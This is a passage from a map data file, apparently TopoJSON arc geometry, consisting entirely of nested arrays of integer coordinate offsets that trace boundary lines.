,-5],[-2,-5],[-2,0],[-16,-10],[-9,5],[-6,0],[-5,10],[-6,5],[-5,-15]],[[3264,7848],[-9,-5],[-42,5],[-4,5],[9,20],[-5,20],[3,25],[-5,0],[-9,5],[-2,0],[-4,0],[-9,10],[-2,0],[-5,0],[-6,31],[-16,0],[-11,45],[-11,5],[-6,5]],[[3229,8180],[7,15],[-3,10],[11,15],[0,15],[5,10],[9,0],[24,15]],[[3427,8466],[-4,35],[-13,20],[-9,10],[-2,25],[4,-5],[9,-25],[4,-5],[13,15],[12,0],[4,-10],[4,5],[3,-10],[2,0],[2,5],[0,20],[7,10],[2,5],[6,26],[0,5],[0,5],[-6,15],[-9,0],[-11,15],[-7,-10],[-13,-20],[-18,-5],[-2,10],[2,10],[-6,15],[-2,10],[2,15],[13,15],[7,10],[4,0],[0,-5],[20,10],[15,25],[-2,5],[16,10],[11,5],[4,10],[4,0],[14,25],[11,5],[6,11]],[[3698,8757],[5,-5],[2,0],[2,0],[0,-5],[2,0],[3,-5],[2,0],[0,-5],[2,0],[0,-5],[2,0],[5,-15],[2,-5],[2,-5],[2,-5],[0,-5],[2,0],[0,-5],[3,0],[2,-5],[2,0],[2,0],[0,-5],[3,0],[2,0],[6,0],[3,0],[2,0],[2,-5],[2,0],[0,-5],[2,-5],[0,-5],[0,-5],[3,0],[0,-5],[0,-5],[2,0],[0,-5],[2,-5],[2,0],[0,-5],[2,0],[3,0],[0,-5],[2,0],[2,0],[2,0],[5,-5],[2,0],[2,-5],[2,0],[2,0],[3,0],[2,0],[2,0],[2,0],[2,0],[5,0],[2,-5],[2,0],[5,0],[2,0],[2,0],[2,0],[2,0],[5,5],[2,0],[2,0],[3,0],[2,0],[0,5],[2,0],[2,5],[5,5],[2,0],[4,0],[0,5],[2,0],[3,0],[6,10],[2,0],[3,0],[2,0]],[[3875,8647],[2,-15],[7,0],[4,0],[0,5],[0,-5],[2,0],[2,0],[0,-5],[5,5],[2,0],[0,-5],[2,-5],[2,-5],[3,0],[2,0],[2,0],[4,0],[3,-5],[2,-10],[6,-15],[7,0],[13,-10],[3,5],[6,-5],[2,0],[3,0],[0,5],[4,-5],[2,0],[5,0],[2,5],[2,-5],[4,0],[5,0],[4,-5],[2,0],[5,0],[13,-11],[2,0],[2,0],[7,-5],[2,0],[5,-5],[2,0],[2,0],[4,0],[3,0],[4,-5],[2,0],[0,-5],[0,-5],[0,-5],[-4,-5],[0,-5],[0,-5],[0,-5],[2,-5],[-2,-10],[2,-15],[2,-5],[7,-5],[-2,-5],[-2,-10],[4,0],[-7,-20],[-6,-15],[4,-5],[2,0],[11,15],[5,-5],[4,5],[-2,0],[-2,5],[0,5],[2,5],[2,0],[7,-10],[11,0],[17,40],[16,20],[4,0],[11,25],[7,5],[2,51],[0,25],[5,0],[2,10],[-5,0],[-2,10],[13,0],[14,-10],[4,5],[11,10],[11,-10],[13,-30],[0,-15],[2,-6],[0,-20],[11,0],[7,15],[7,5],[4,0],[-4,-25],[2,-25],[4,5],[14,-25],[17,-10],[5,-5],[2,-20],[6,-5],[5,-25],[11,-20],[-2,-25],[2,-5],[2,-5],[13,0],[13,-11],[11,-5],[9,5],[3,-5],[8,0],[3,-5],[19,16],[7,10],[4,-5],[3,-5],[-7,-6],[-2,-15],[2,-15],[-4,-40],[-7,-35],[20,10],[20,-25],[-3,-20]],[[3130,8019],[-29,5],[-13,0],[2,15],[-9,5],[-9,10],[-13,20],[0,5],[-6,5],[0,10],[-3,5],[-17,0],[-14,10],[0,5],[-2,5],[0,5],[2,5],[3,5],[0,5],[-3,10]],[[3019,8149],[9,5],[20,0],[11,-15],[2,-10],[5,-5],[20,-5],[28,0],[27,-10]],[[5841,9300],[0,5],[2,10],[-11,5],[-9,0],[-4,-20],[-2,0],[-2,-10],[-3,0],[-4,5],[-9,-10],[-2,0],[-2,-5],[-2,0],[-7,-10],[-2,0],[0,-5],[-2,0],[-3,0],[-2,0],[-2,0],[0,5],[-2,0],[-2,0],[-3,0],[-2,5],[-2,0],[0,5],[-4,-5],[-7,10],[-2,-5],[-5,15],[2,10],[-6,0],[-2,0],[-7,-5],[-4,0],[-7,0],[-7,-10],[-2,0],[-2,0],[0,5],[-11,-15],[-4,0],[0,-5],[-3,-5],[3,-10],[2,-10],[0,-5],[0,-5],[-2,5],[-11,5],[-3,5],[0,10],[-2,5],[-6,-10],[-7,-5],[2,-10],[2,0],[3,-5],[-3,-5],[0,-5],[3,-5],[2,-5],[0,-5],[2,0],[0,-5],[2,0],[0,-5],[2,0],[0,-5],[-2,-5],[0,-5],[-2,-5],[-2,0],[-2,0],[-3,0],[-2,0],[-2,-6],[-7,0],[-2,0],[-2,0],[-2,0],[-3,0],[0,6],[-2,0],[-2,0],[-2,0],[0,5],[-5,0],[-2,0],[-2,0],[-4,0],[-5,0],[-6,0],[-7,0],[-7,0],[-2,-5],[-9,5],[-4,0],[2,-11],[-2,-10],[2,-5],[-4,0],[0,5],[-5,-5],[-2,10],[-4,5],[-5,-5],[-4,0],[-4,11],[2,5],[-2,5],[0,5],[-11,5],[-5,0],[-2,-5],[0,-5],[2,-5],[5,0],[2,-5],[2,-6],[-9,-10],[-7,-5],[3,-5],[2,0],[4,0],[7,-5],[-9,-5],[0,-5],[-9,5],[-6,10],[-3,10],[-2,16],[-2,15],[4,20],[3,15],[-3,5],[-4,-5],[-4,-5],[-5,-5],[-6,-5],[-7,10],[-4,0],[-5,0],[-2,0],[-9,-5],[-9,10],[-4,5],[-4,0],[-5,15],[-4,5],[-14,20],[-4,5],[-2,5],[-13,-5],[-5,0],[-4,0],[-5,0],[-4,15],[-4,15],[-5,5],[0,10],[2,10],[5,10],[6,0],[9,5],[5,5],[0,10],[6,5],[-4,10],[-2,11],[-14,30],[-6,5],[-7,0],[-2,15],[-2,0],[2,5],[2,5],[5,10],[2,0],[0,5],[2,0],[2,5],[2,5],[7,10],[0,5],[2,0],[0,5],[2,5],[3,0],[2,0],[2,-5],[11,15],[2,-5],[11,15],[5,10],[4,5],[5,5],[2,0],[9,0],[-3,5],[-2,5],[7,10],[4,5],[5,0],[8,0],[9,-5],[0,5],[-2,5],[2,5],[0,11],[5,10],[0,5],[-3,0],[-6,0],[-5,15],[-2,25],[2,10],[3,5],[2,5],[6,5],[-2,5],[2,5],[0,5],[0,5],[0,5],[0,5],[3,0],[0,5],[2,0],[2,5],[2,0],[2,0],[3,0],[0,5],[2,0],[2,0],[2,5],[2,0],[0,5],[3,0],[0,5],[2,5],[0,5],[0,5],[2,5],[2,5],[0,5],[2,5],[3,5],[0,5],[2,0],[2,0],[0,5],[2,0],[3,5],[11,11],[2,0],[0,5],[2,0],[0,5],[2,0],[2,5],[3,5],[2,0],[4,5],[2,-5],[14,-5],[4,5],[9,10],[2,-5],[4,5],[9,0],[2,10],[14,-15],[6,-10],[2,-5],[0,5],[0,5],[3,0],[0,5],[2,0],[2,10],[0,5],[2,0],[3,5],[2,5],[2,0],[2,0],[2,0],[3,0],[2,0],[4,0],[7,10],[11,5],[6,0],[5,10],[6,0],[9,10],[9,-5],[4,-10],[7,-10],[2,0],[0,-10],[5,0],[2,0],[7,5],[6,5],[7,5],[4,5],[-2,5],[0,10],[-4,10],[2,15],[-7,0],[-9,5],[-9,5],[-2,0],[-2,5],[0,10],[0,10],[0,20],[4,20],[5,10],[4,6],[5,-11],[4,0],[2,0],[0,-5],[5,-5],[0,-10],[0,-10],[13,0],[15,15],[5,-10],[4,-10],[5,5],[8,10],[7,5],[13,-5],[9,0],[7,-5],[4,-10],[7,-5],[0,-5],[-2,-5],[4,-5],[4,0],[-4,-20],[0,-10],[-4,-10],[-5,0],[-2,-5],[0,-5],[0,-5],[0,-5],[2,0],[0,-5],[2,-5],[3,-5],[0,-5],[2,-5],[9,-5],[-5,-25],[-4,-10],[0,-16],[13,-15],[2,-10],[5,-15],[8,-5],[3,10],[8,10],[7,10],[2,0],[2,5],[7,-5],[0,5],[7,10],[-5,11],[7,5],[9,15],[-3,5],[-2,0],[-6,0],[0,10],[2,10],[2,15],[-2,15],[-2,5],[-7,10],[2,15],[2,15],[0,10],[5,0],[0,10],[0,5],[13,10],[4,0],[3,-10],[4,-10],[0,-10],[-2,-5],[-5,-5],[7,0],[5,0],[6,-10],[5,-10],[6,-5],[2,5],[7,-10],[4,0],[3,0],[2,5],[6,0],[-2,-10],[5,-5],[0,-5],[2,-15],[-2,-5],[2,-10],[4,-10],[2,0],[5,-5],[0,-5],[-5,-5],[-6,-5],[2,-5],[0,-5],[2,0],[0,-5],[2,-6],[0,-5],[3,-5],[0,-5],[0,-5],[0,-5],[2,0],[0,-5],[0,-5],[0,-5],[2,0],[2,-5],[2,-5],[5,-5],[4,0],[2,5],[5,0],[2,5],[0,10],[4,5],[3,-5],[11,20],[4,-5],[7,10],[4,0],[7,-5],[4,5],[5,-10],[2,5],[4,0],[-2,-5],[7,0],[4,-10],[7,-5],[-5,-10],[13,-15],[3,-5],[8,-5],[3,-5],[-3,-10],[3,-10],[-5,-10],[-11,5],[-6,-5],[-7,0],[-2,-5],[-7,5],[-4,-10],[-5,-15],[-13,-10],[2,-10],[-4,-10],[-2,-20],[-2,-5],[2,-5],[4,-5],[5,-16],[4,-15],[0,-5],[7,5],[4,-5],[4,0],[-2,-5],[11,-5],[2,0],[7,-5],[4,-5],[3,-5],[-3,-5],[-6,-20],[0,-5],[-5,-10],[3,0],[-5,-25],[-6,-30],[2,-10],[2,-10]],[[6110,9421],[-7,0],[-8,-5],[-7,-5]],[[6088,9411],[-2,5],[0,5],[0,10],[-5,0],[-8,5],[2,25],[-9,15],[0,20],[-2,10],[-2,-5],[-3,5],[3,0],[-3,10],[0,5],[-6,10],[-3,0],[-4,0],[-2,0],[-2,-5],[-16,-10],[0,-5],[0,-5],[0,-5],[-4,0],[-5,0],[-4,0],[-7,5],[-2,0],[0,5],[5,5],[-11,5],[-7,0],[-4,-10],[-3,0],[-4,0],[-4,10],[-7,0],[4,-25],[18,-15],[7,-35],[-3,-5],[-4,5],[0,-10],[-2,-5],[-2,0],[-5,-5],[-4,-5],[0,-5],[-7,0],[-15,-5],[4,0],[0,-10],[5,-5],[4,0],[0,-5],[-2,-6]],[[6434,9230],[-7,-5],[-11,10],[-4,0],[-4,-5],[-5,-5],[-6,-25],[-16,5],[-9,10],[-4,5],[11,20],[9,20],[-2,0],[-3,5],[-2,0],[-6,5],[-5,0],[-6,5],[-3,0],[-2,5],[-2,5],[0,5],[0,5],[-2,10],[-3,0],[-2,5],[-2,5],[-2,0],[-5,10],[-6,5],[-5,0],[-2,0],[-2,0],[-4,5],[-3,0],[-6,5],[-7,5],[-2,0],[-2,0],[-2,0],[-3,0],[-4,-5],[-2,0],[-2,0],[-3,0],[-4,5],[-2,0],[-2,0],[-5,0],[-6,-10],[-7,0]],[[6260,9335],[-7,15],[0,5],[5,20],[2,10],[2,11],[2,10],[5,10],[6,0],[7,0],[9,5],[-9,15],[-2,0],[-5,0],[-11,5],[3,10],[-3,15],[-2,5],[-7,5],[-2,0],[-2,5],[-2,0],[-2,0],[-7,0],[-9,0],[-6,5],[-11,0],[-7,5],[-7,0],[3,10],[2,5],[0,10],[4,5],[-4,10],[0,5],[-2,5],[0,5],[0,5],[4,-5],[7,5],[4,10],[-2,10],[11,-5],[2,5],[0,5],[2,0],[2,5],[0,5],[3,6],[2,-6],[4,11],[7,-5],[2,10],[16,-10],[0,10],[-7,30],[7,0],[0,5],[11,5],[2,5],[2,0],[2,-5],[0,-10],[2,-20],[9,-5],[-2,0],[2,-5],[-2,-5],[-7,-5],[-6,-6],[0,-10],[6,5],[7,-5],[4,0],[3,-5],[11,-25],[13,5],[2,-5],[-2,-5],[-5,-5],[-8,-10],[0,-5],[8,-5],[0,-5],[3,0],[6,5],[7,0],[2,5],[4,10],[3,-5],[2,0],[13,-5],[0,-5],[5,0],[6,-5],[0,-20],[7,-20],[9,10],[6,0],[5,-5],[6,0],[11,5],[5,0],[2,-5],[4,5],[5,-5],[-3,-5],[-4,-5],[2,-10],[7,-5],[4,-10],[-2,-15],[-7,0],[-11,0],[-4,-5],[-4,-5],[-3,5],[7,10],[2,5],[-6,15],[-3,-10],[-4,-5],[0,10],[-4,5],[-9,-10],[-7,5],[-2,-20],[4,0],[7,5],[4,-10],[-2,-20],[-6,-5],[0,-11],[-5,0],[-2,-5],[2,-10],[-2,-10],[2,0],[2,0],[3,0],[2,0],[2,0],[0,-5],[2,0],[2,0],[3,0],[4,5],[9,-10],[6,-15],[9,-20],[5,-10],[4,-35],[2,-10],[-2,-5],[0,-20],[0,-5]],[[5746,8948],[2,-5],[5,-5],[4,5],[3,0],[4,0],[9,-10],[4,5],[11,-5],[2,5],[5,10],[6,15],[5,-5],[2,5],[4,21],[7,0]],[[8072,8134],[-11,0],[-18,0],[-26,-15],[0,10],[-29,-5],[-2,-5],[-7,0],[-9,0],[-4,15],[-2,5],[0,5],[-2,0],[-3,-5],[-2,5],[-4,0],[2,-10],[-7,-5],[0,-5],[-6,-5],[0,-10],[2,-5],[2,0],[5,-10],[4,5],[9,-10],[4,5],[0,-10],[9,-5],[-4,-5],[2,-5],[-16,-10],[3,-5],[8,0],[3,0],[2,5],[2,0],[5,-5],[2,0],[4,-5],[2,0],[5,0],[-2,-25],[6,0],[2,-10],[-13,-10],[7,-5]],[[7995,7999],[0,-5],[-13,-10],[-7,-5],[4,-10],[-6,0],[-11,-10],[0,-6],[-3,0],[-2,0],[0,-5],[-2,-5],[-7,0],[-2,0],[-4,-5],[-2,-5],[-3,0],[-2,0],[-2,0]],[[7933,7933],[-2,5],[-5,5],[-2,0],[-2,5],[-2,5],[-2,11],[-3,5],[0,5],[-2,0],[-9,15],[14,10],[6,0],[5,-10],[8,0],[5,5],[6,0],[5,-5],[0,-5],[0,-5],[2,-5],[11,5],[9,5],[0,25],[-5,5],[12,10],[-16,10],[-9,-5],[-4,5],[-2,10],[-3,-5],[-2,0],[-4,0],[0,5],[-7,5],[0,15],[-4,0],[2,20],[-4,-5],[0,5],[-11,5],[-3,10],[-8,5],[-9,5],[0,-20],[-5,-10],[-4,-5],[-7,-5],[-4,0],[-9,-5],[-7,-10],[9,-30],[-4,0],[-5,-5],[11,-10],[-2,-10],[7,5],[7,0],[-16,-15],[-7,-10],[-15,0],[-11,-20],[2,-26],[-9,-5],[3,-5]],[[7832,7923],[-3,-10],[-4,-15],[-4,-10],[2,-5],[-2,-15],[-5,0],[5,-5],[-3,-20],[0,-20],[5,-5],[-13,-25],[4,-5],[-4,-20],[2,-10],[-2,0],[4,-6],[-2,-5],[0,-10],[4,-20],[2,-35]],[[7818,7682],[-15,10],[-20,5],[-18,-15],[-28,0],[-16,15],[-22,25],[-2,0],[-4,5],[-2,5],[-5,-5],[-6,5],[-5,-5],[-4,20],[-5,11],[-2,5],[-2,5],[-2,10],[-3,0],[0,5],[0,5],[0,5],[3,5],[0,5],[-20,-15],[-7,10],[-15,-5],[-13,20],[-3,0],[-2,0],[-4,5],[-2,5],[2,0],[0,5],[2,0],[-2,0],[0,5],[-2,0],[0,5],[-3,0],[-2,-5],[-2,5],[0,5],[-2,0],[-2,0],[-3,5],[-2,0],[-2,0],[-2,0],[-3,-5],[-2,-5],[-2,0],[-2,0],[-2,0],[-3,-5],[-2,0],[0,5],[0,5],[-4,5],[-5,0],[-4,0],[-2,5],[0,5],[0,5],[2,0],[0,5],[0,5],[0,5],[-2,0],[-2,0],[-3,5],[-2,0],[-2,-5],[-2,0],[0,-5],[-2,-5],[-3,0],[-4,5],[-2,0],[-2,0],[-5,0],[-2,-5],[-2,0],[-7,5],[-4,0],[-2,-5],[-3,0],[-4,0],[-9,-5],[2,-5],[5,0],[0,-5],[2,-5],[2,0],[7,-10],[0,-5],[2,0],[0,-5],[0,-10],[0,-5],[-4,-5],[0,-5],[2,0],[0,-5],[0,-5],[2,-5],[0,-5],[2,0],[2,0],[0,-5],[-2,-5],[0,-5],[2,-5],[3,0],[0,-11],[4,-5],[2,-5],[0,-5],[-2,0],[-18,-10],[-11,-5],[-15,-15],[-2,-10],[6,-25],[-6,0],[-9,-5],[-7,-10],[-4,-5],[-7,-25],[-4,-25],[-31,-20],[-9,-10],[-2,-10],[0,-10],[2,0],[7,0],[0,-6],[6,-20],[-4,-5],[2,-10],[5,-20],[-7,-15],[4,-20],[-2,0],[0,-5],[-2,-5],[-2,-10],[-2,-10],[0,-10],[0,-5],[0,-5],[2,-5],[2,-5],[2,-5],[2,0],[3,-5],[0,-5],[2,-5],[2,-5],[7,-10],[22,-66],[2,-35],[20,-70]],[[7466,7190],[-25,0],[-15,-10],[-4,0],[-11,5],[-9,20],[-11,10],[-5,10],[3,5],[2,5],[0,5],[-2,5],[-3,0],[-4,0],[-18,-15],[-11,20],[-4,-5],[-5,5],[0,5],[-2,5],[-6,15],[-3,-5],[-8,0],[-7,0],[-2,5],[11,5],[-9,5],[-4,10],[-7,-5],[-9,0],[-6,-10],[-3,-10],[-15,-10],[0,5],[-2,5],[-3,0],[-8,5],[-3,0],[-2,0],[-2,0],[-7,-5],[-6,0],[-9,0],[-4,5],[-5,0],[-2,0],[-2,5],[-5,0],[-2,0],[-2,5],[-9,5],[-6,5],[-3,5],[-4,0],[-2,0],[0,5],[-2,0],[-3,5],[-2,5],[-6,5],[-5,5],[-2,0],[-2,5],[4,15],[20,21],[11,30],[0,10],[7,5],[-3,0],[-2,5],[-2,5],[0,5],[-2,5],[-2,5],[-3,5],[-4,5],[0,5],[-2,5],[4,30],[-9,25],[3,10],[-5,15],[0,10],[-6,6],[2,5],[2,5],[4,0],[3,0],[0,5],[2,5],[2,0],[2,0],[2,5],[5,0],[6,5],[3,0],[2,5],[4,5],[2,0],[3,0],[4,5],[2,5],[0,5],[-17,50],[-7,5],[-7,-5],[-4,0],[-4,0],[-3,-5],[-2,0],[-2,0],[-2,0],[-5,-5],[-6,-5],[0,15],[-16,30],[18,40],[-5,10],[-2,-10],[-6,-5],[-11,-10],[-3,30],[-6,16],[15,-6],[20,6],[2,5],[9,10],[0,15],[9,10],[4,15],[5,0],[0,5],[0,5],[-2,0],[-3,5],[3,5],[2,5],[0,5],[0,5],[-2,0],[-3,10],[0,5],[0,5],[0,5],[3,0],[0,5],[4,5],[0,5],[2,-5],[2,0],[7,0],[2,0],[2,0],[3,0],[2,0],[0,5],[2,0],[0,10],[2,0],[0,5],[-2,5],[0,5],[0,5],[0,5],[0,5],[-4,5],[2,0],[2,5],[2,0],[0,-10],[2,0],[0,5],[3,0],[2,-5],[2,0],[2,0],[5,10],[4,0],[2,5],[2,0],[3,0],[2,0],[2,0],[2,0],[2,5],[5,5],[2,0],[4,0],[3,0],[2,0],[2,-5],[0,-5],[2,0],[16,10],[6,-10],[5,0],[4,10],[16,-5],[0,-10],[8,5],[25,-10],[2,-5],[6,0],[14,-5],[9,5],[13,5],[13,5],[7,5],[4,10],[2,-5],[0,5],[2,0],[3,0],[2,0],[2,0],[2,0],[2,-5],[3,0],[2,0],[2,0],[0,-5],[2,0],[5,5],[4,0],[4,0],[12,5],[6,6],[5,0],[4,10],[2,-5],[2,-5],[5,0],[6,10],[3,5],[4,0],[2,5],[2,0],[3,5],[6,0],[2,5],[5,-5],[2,0],[2,5],[2,-5],[3,0],[2,0],[2,0],[2,0],[2,-5],[3,0],[2,5],[2,-5],[4,0],[5,-5],[2,0],[2,-5],[0,-5],[0,-5],[2,0],[0,-6],[5,0],[4,0],[3,0],[2,0],[2,0],[9,0],[15,11],[9,10],[7,0],[22,10],[8,15],[-4,0],[2,15],[5,-10],[4,15],[-7,20],[7,5],[4,10],[0,25],[-6,20],[2,0],[2,10],[2,5],[0,5],[3,5],[4,0],[0,-5],[5,0],[0,-5],[2,0],[4,5],[2,0],[3,0],[2,0],[2,-5],[4,-5],[3,-5],[4,0],[2,5],[-2,0],[2,5],[2,0],[7,5],[4,0],[5,0],[4,5],[2,5],[5,5],[2,5],[2,0],[5,5],[2,0],[9,0],[6,5],[2,-5],[3,0],[2,0],[4,5],[2,0],[5,5],[13,5],[0,6],[13,5],[9,10],[11,10],[2,5],[7,5],[4,0],[3,0],[2,0],[4,5],[2,5],[3,0],[4,0],[2,0],[0,-5],[5,0],[2,5],[0,5],[2,5],[2,0],[2,0],[3,0],[2,0],[2,0],[-9,15],[-2,15],[0,10],[4,5],[5,10],[7,15],[22,5],[2,-10],[6,0],[0,-10],[-2,-5],[0,-5],[9,5],[7,5],[0,-5],[11,5],[8,-5],[0,-5],[11,0],[11,0],[12,0],[15,-5],[11,-15],[0,-5],[15,5],[3,-15],[15,-15],[11,-5],[4,-10],[22,-10],[3,-5],[17,-15],[3,-11],[-3,-10],[-8,-5],[-18,-10]],[[7818,7682],[0,-15],[0,-35],[-2,-35],[-4,-5],[2,0],[0,-5],[-2,-5],[-5,-41],[-11,-30],[7,-35],[-9,-10],[-6,-10],[2,-15],[-5,-20],[-2,-20],[2,-15],[-6,-20],[-9,-10],[-5,-11],[-6,-15],[-2,-10],[-5,-10],[-13,-20],[-4,-10],[-9,-15],[-7,-5],[-13,-15],[-13,-20],[-13,-15],[-5,-10],[-11,-5],[-15,-15],[-3,0],[-13,5],[-9,-10],[-28,-41],[-11,-5],[-11,0],[-22,-15],[-27,31],[-13,20],[-31,5],[-13,15],[-2,5]],[[7933,7933],[-4,-10],[0,-5],[-11,-5],[-7,10],[-4,0],[4,15],[-4,5],[0,5],[-20,-5],[-9,-5],[-22,-10],[-24,-5]],[[8072,8134],[-11,-15],[-9,0],[-4,-10],[-16,-15],[-26,-20],[2,-5],[2,-5],[-2,-10],[11,-5],[0,-5],[7,-5],[-3,-5],[9,0],[5,-5],[6,-10],[-11,-5],[-9,-10],[-13,5],[-15,-10]],[[6586,7828],[5,10],[8,10],[5,5],[2,0],[2,0],[2,5],[5,20],[9,-5],[6,5],[2,-5],[7,30],[9,0],[-2,10],[4,10],[0,10],[2,10],[2,0],[0,5],[-2,5],[2,6],[-4,10],[-2,0],[2,10],[2,0],[7,25],[11,5],[2,-5],[13,0],[5,15],[0,20],[2,10],[0,15],[-4,10],[2,5],[-2,15],[-5,5],[5,0],[8,0],[9,10],[0,10],[2,5],[9,-5],[16,5],[4,-10],[4,10],[11,10],[3,15],[4,10],[13,-25],[7,5],[7,10],[6,-10],[-6,-15],[8,10],[3,5],[-3,0],[-2,5],[0,5],[2,0],[0,5],[11,-5],[5,10],[0,-5],[2,5],[-2,6],[4,0],[0,5],[13,-5],[-2,5],[7,-5],[9,0],[-5,15],[5,0],[4,-5],[4,5],[-17,15],[-2,0],[0,5],[-5,5],[-6,5],[0,5],[-11,5],[-3,0],[-8,5],[-7,5],[-2,-5],[-11,10],[-7,5],[-2,10],[7,5],[2,5],[-2,15],[-3,5],[5,5],[-11,10],[-11,5],[-9,5],[-11,5],[-5,5],[7,10],[-7,5],[0,20],[-4,-5],[-2,10],[-5,0],[5,5],[2,5],[0,11],[2,-5],[7,5],[0,10],[-2,5],[4,5],[11,5],[7,-10],[13,10],[4,-5],[7,10],[9,5],[2,-5],[11,20],[-2,5],[4,0],[2,0],[0,-5],[11,-15],[5,0],[0,-10],[9,0],[4,-15],[9,10],[-2,5],[8,15],[5,-10],[4,0],[9,10],[7,0],[2,-5],[4,5],[7,10],[4,0],[7,-15],[-2,-5],[2,-5],[-2,-5],[4,-5],[9,-31],[18,11],[2,10],[2,-5],[9,-5],[20,0],[-3,-6],[5,0],[4,-15],[5,0],[9,0],[6,5],[-2,16],[4,0],[7,0],[18,10],[11,-10],[11,15],[13,0],[2,0],[4,5],[7,10],[9,35],[-5,15],[12,20],[2,0],[0,-10],[2,-5],[2,15],[7,-5],[-2,-5],[-5,-20],[9,-10],[2,-5],[2,0],[5,0],[4,5],[-2,5],[7,0],[4,-30],[13,10],[9,-10],[0,-10],[9,5],[4,-5],[25,0],[-7,-10],[2,-21],[-2,0],[7,-5],[-3,-10],[9,-5],[5,15],[6,11],[5,-6],[11,6],[6,-6],[2,6],[9,-6],[-2,-10],[11,0],[4,0],[5,-5],[9,0],[4,-20],[11,-5],[0,5],[13,-5],[11,0],[9,10],[11,5],[13,5],[3,10],[4,10],[4,0],[9,-5],[2,-10],[3,0],[0,-5],[17,0],[5,-10],[0,5],[9,5],[2,0],[2,5],[2,5],[2,0],[3,5],[0,5],[2,6],[13,10],[9,25],[4,0],[-2,5],[0,5],[-2,5],[0,5],[2,5],[0,5],[-2,5],[-2,5],[0,5],[-3,0],[-2,5],[-2,0],[-2,0],[0,-5],[-5,-5],[-2,-5],[-2,0],[-2,0],[-2,0],[0,5],[2,10],[-2,5],[-3,0],[5,20],[11,5],[2,-5],[4,15],[0,5],[-13,0],[-17,30],[-3,-10],[3,0],[0,-10],[-9,0],[-3,-15],[-6,5],[-7,-10],[0,-5],[-13,5],[0,-5],[-4,-5],[-3,0],[-2,0],[-2,0],[-11,10],[-9,0],[-6,20],[2,0],[4,0],[7,5],[6,-5],[0,-10],[5,0],[0,20],[6,0],[5,20],[-7,15],[2,0],[3,0],[2,0],[2,0],[4,5],[11,5],[3,0],[2,0],[2,6],[11,0],[5,10],[8,0],[11,-21],[3,0],[2,5],[0,11],[-5,15],[5,5],[6,0],[-4,5],[4,5],[5,0],[9,0],[2,-10],[11,-5],[2,10],[15,-5],[3,0],[4,15],[0,-25],[-4,-15],[4,0],[7,-21],[2,0],[2,0],[2,0],[3,0],[2,0],[4,0],[2,0],[3,0],[2,0],[4,0],[2,0],[0,-20],[-2,0],[-2,0],[-2,-5],[-2,0],[-3,0],[-2,-5],[-2,0],[-2,0],[-5,-10],[5,-5],[-11,-20],[-9,0],[-2,0],[-3,-20],[0,-10],[3,0],[2,10],[4,5],[11,-10],[14,-5],[8,-5],[0,10],[5,10],[13,-10],[9,-10],[2,5],[9,0],[2,-5],[0,-20],[-2,-10],[-9,0],[-2,-5],[-2,-5],[13,-10],[-5,-5],[-2,0],[-2,-10],[-4,-10],[13,5],[6,5],[7,0],[4,-5],[3,-5],[6,-16],[2,0],[5,0],[2,-5],[4,-10],[0,-15],[14,-5],[2,10],[2,5],[5,10],[2,10],[-5,5],[5,11],[-2,5],[6,5],[0,10],[5,10],[0,15],[8,0],[7,5],[0,10],[7,5],[11,-5],[2,5],[2,5],[4,15],[9,5],[2,5],[3,5],[2,5],[2,0],[2,0],[5,5],[147,201]],[[7818,8687],[27,-50],[37,-5],[42,5],[24,-161],[0,-5],[-2,-20],[0,-5],[5,-15],[2,-5],[4,-15],[11,-15],[11,-15],[7,-5],[2,-5],[16,-41],[6,-20],[0,-5],[2,-5],[5,-20],[2,-5],[2,-5],[0,-5],[7,0],[4,-5],[5,0],[2,0],[0,5],[4,0],[0,10],[2,5],[3,10],[0,10],[4,0],[2,0],[2,-5],[5,-10],[2,0],[4,-25],[3,-5],[4,-5],[2,-5],[5,-5],[6,-5],[9,0],[13,0],[9,-5],[11,0],[13,-5],[9,-5],[2,0],[3,-5],[2,0],[2,-5],[2,-5],[0,-5],[0,-5],[-4,-10],[-13,-20],[-11,-21],[-3,-5],[0,-5],[-2,-5],[0,-5],[2,-10],[0,-5],[3,-5],[6,-30],[2,-15],[0,-5],[0,-25],[3,-35],[0,-5],[0,-15],[6,-5],[5,-10],[2,-6],[0,-5],[2,0],[0,-5],[7,-10],[13,-10],[4,-5],[3,0],[4,-5],[4,-10],[0,-10],[0,-20],[0,-10],[-2,-10],[-6,-15],[-7,-15],[-9,-15],[-2,-5],[-9,-10],[-15,-5],[-3,0],[-6,0],[-7,0],[-2,0],[-4,0],[-16,-5],[-9,-5],[-4,0],[-2,0],[-2,-5],[-5,5],[-11,-15],[-13,-31],[-16,-25],[-8,-15],[-5,-15],[-2,-5],[-4,-25],[-3,-10],[-2,-20],[-6,-35],[-5,-25],[-4,-16],[0,-5],[-5,-15],[-6,-15],[-9,-10],[0,-5],[-18,-20],[-9,-5],[-2,-5],[-17,-25],[-3,0],[-2,-5],[-2,-5],[0,-5],[-2,-5],[0,-5],[-2,-20],[-3,-5],[-4,-25],[-2,-5],[-2,-5],[-3,-6],[-8,-10],[-9,-10],[-11,-10],[-7,-10],[-2,-5],[0,-10],[0,-25],[-2,-5],[-3,-15],[-17,-80],[-2,-10],[-20,-51],[-13,-35],[-3,-10],[-4,-15],[-2,-20],[0,-15],[-2,-10],[-7,-20],[-13,-46],[-2,-10],[-3,-30],[-4,-30],[0,-15],[0,-15],[9,-60],[4,-20],[7,-26],[9,-25],[11,-25],[6,-15],[5,-20],[8,-40],[5,-50],[4,-36],[7,-60],[0,-15],[-2,-15],[-7,-45],[-4,-5],[-5,-10],[-22,-25],[-24,-36],[-24,-20],[-11,-15],[-5,-10],[-2,-5],[0,-10],[9,-45]],[[7759,6200],[4,-15],[9,-25],[7,-20],[4,-10],[11,-21],[33,-80],[2,-5],[5,-30],[2,-5],[2,-10],[2,-5],[5,-10],[2,-5],[2,-10],[2,-5],[3,-5],[11,-20],[2,-6],[4,-10],[42,-80],[-11,-15],[-13,5],[-20,-10],[-4,0],[-9,-10],[-7,-15],[5,-15],[-3,-5],[0,-40],[-28,-11],[-5,-25],[-6,5],[-5,-25],[-4,-15],[0,-10],[-7,-5],[3,-5],[-16,-10],[-2,-30],[-13,-20],[-5,-25],[2,-25],[20,-21],[-13,-20],[-15,-10],[-9,-25],[-9,-5],[2,-15],[5,-30],[-7,-25],[-24,0],[-5,0],[0,-10],[5,-15],[-5,-20],[-2,-10],[-9,-11],[-17,31],[-7,5],[-11,25],[-11,5],[-7,10],[-8,5],[-5,0],[-2,5],[-4,0],[-11,10],[-9,0],[-7,0],[-9,0],[-2,5],[-2,0],[-4,0],[-9,10],[-11,10],[-11,5],[-31,0],[-16,-5],[-30,15],[-9,-10],[-9,20],[-20,0],[-18,-5],[-8,0